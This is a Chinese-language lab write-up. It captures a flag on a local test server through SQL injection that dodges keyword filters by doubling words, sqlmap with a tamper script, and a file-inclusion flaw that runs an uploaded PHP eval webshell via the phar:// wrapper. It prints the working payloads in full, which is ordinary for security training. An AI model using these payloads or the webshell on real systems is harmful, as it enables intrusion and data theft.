Abstract: 利用 SQL 注入、文件上传、文件包含及 PHP 伪协议获取 flag

Table of Contents

  1. 代码审计
  2. SQL 注入
    1. 手工注入
    2. sqlmap 注入
  3. 文件上传和文件包含漏洞测试
  4. 问题与总结

代码审计

SQL 注入

寻找网页里可能与数据库进行交互的地方,由于系统比较简单,所以很容易定位到朋友圈功能。

输入老李,观察结果。

输入数字1,观察结果。

可以看出来,如果数据库里没有该好友,程序会提示找不到。尝试使用非法字符,输入 老李'#,观察结果。

order by 确定字段个数,输入 老李' order by 10,观察结果。

说明程序对敏感字符做个处理。多次尝试后发现,对 ororder 都进行了处理, 很难再使用 order by 语句。进行 union select 尝试。发现对 unionselect 进行了过滤,使用双拼绕过。输入 1' uniunionon selselectect 1,2,3#进行尝试。

说明字段数不符合,继续增大字段数。

当输入 1' uniunionon selselectect 1,2,3,4# 时,可以正常读出数据。

手工注入

使用

1
1' uniunionon seleselectct 1,(selselectect database()),3,4#

确定当前数据库。

使用

1
1' uniunionon seleselectct 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables where table_schema=database()),3,4#

读取当前数据库中的表。

使用

1
1' uniunionon seleselectct 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns where table_schema=database() aandnd table_name='person_key'),3,4#

读取表 person_key 中的字段。

使用

1
1' uniunionon seleselectct 1,(selselectect flag frfromom friends.person_key),3,4#

读取 flag

sqlmap 注入

NOTE: 对 sqlmap 自定义注入点掌握的不熟练,但通过这个例子总结出一个步骤:先用手动注入发现点,然后把手动填写的要查询的 sql 语句用 * 代替即可。

1
1' uniunionon seleselectct 1,(selselectect database()/* 这里就可以写*号 */),3,4 #

这里要注意使用 --tamper 命令绕过关键字符的过滤。nonrecursivereplacement.py的作用就是双拼绕过 WAF。先用 burpsuite 抓取数据包。

保存到 220.txt。然后打开 sqlmap

1
sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py

1
2
#获取数据库
sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py --dbs

1
2
#获取当前数据库的表
sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py -D friends --tables

1
2
#获取当前数据库中表person_key的字段名
sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py -D friends -T person_key --columns

1
2
#获取当前数据库中表person_key的字段名
sqlmap -r C:\Users\usr\Desktop\220.txt --tamper nonrecursivereplacement.py -D friends -T person_key -C id.flag --dump

不知道什么原因,无法 dump 数据。

文件上传和文件包含漏洞测试

打开公司档案馆,观察页面。

在新标签页中打开档案1号,观察网址构成。

1
2
3
4
# 原网址
http://192.168.11.220/archives.php?archive=file/fr1.php
# 修改 archive
http://192.168.11.220/archives.php?archive=./file/fr1.php

发现页面正常显示。

由此可判断出,可能存在文件包含漏洞。

1
http://192.168.11.220/archives.php?archive=./demo.php

个人档案 上传 10.zip 文件,里面有如下文件。

2.php

1
2
// 一句话木马
<?php @eval($_POST["cmd"]);?>

5.php

1
2
// 主要用于显示,看能否解析 .php 文件
'GIF89a'."\r\n".'<?php phpinfo();?>'."\n"

上传成功后。

在浏览器中输入

1
http://192.168.11.220/archives.php?archive=phar://./upload/10.zip/5.php

发现 .php 是可以解析的。

之后用菜刀和蚁剑连接如下网址,

1
http://192.168.11.220/archives.php?archive=phar://./upload/10.zip/2.php

发现连接不上。但是 2.php 是可以解析的,以 POST 方式 cmd=echo(123); ,网页上显示 123

既然连不上,那我们就直接用 php 函数读取文件把文件显示出来。

1
cmd=echo htmlentities(file_get_contents("/var/www/html/flag_toifsef997388003.php"));

该方法的缺点是要知道该文件的具体路径,没有菜刀和蚁剑方便。

问题与总结

  • SQL 注入相关的知识有些遗忘,用起来不熟练。对 sqlmap 的使用没有得心应手,先是手动注入完成以后,多次尝试使用 sqlmap 才跑出来,但最后的具体数据没有 dump 下来。本次使用的是UNION 联合查询,按理说也可以使用自定义时间盲注测试点用 sqlmap 抓数据,但尝试多次没有成功,有时间了还得再看看。
  • 菜刀蚁剑没有成功连接,得想办法尝试绕过检测,直接上传 .php 文件,这样用工具连接可能会成功。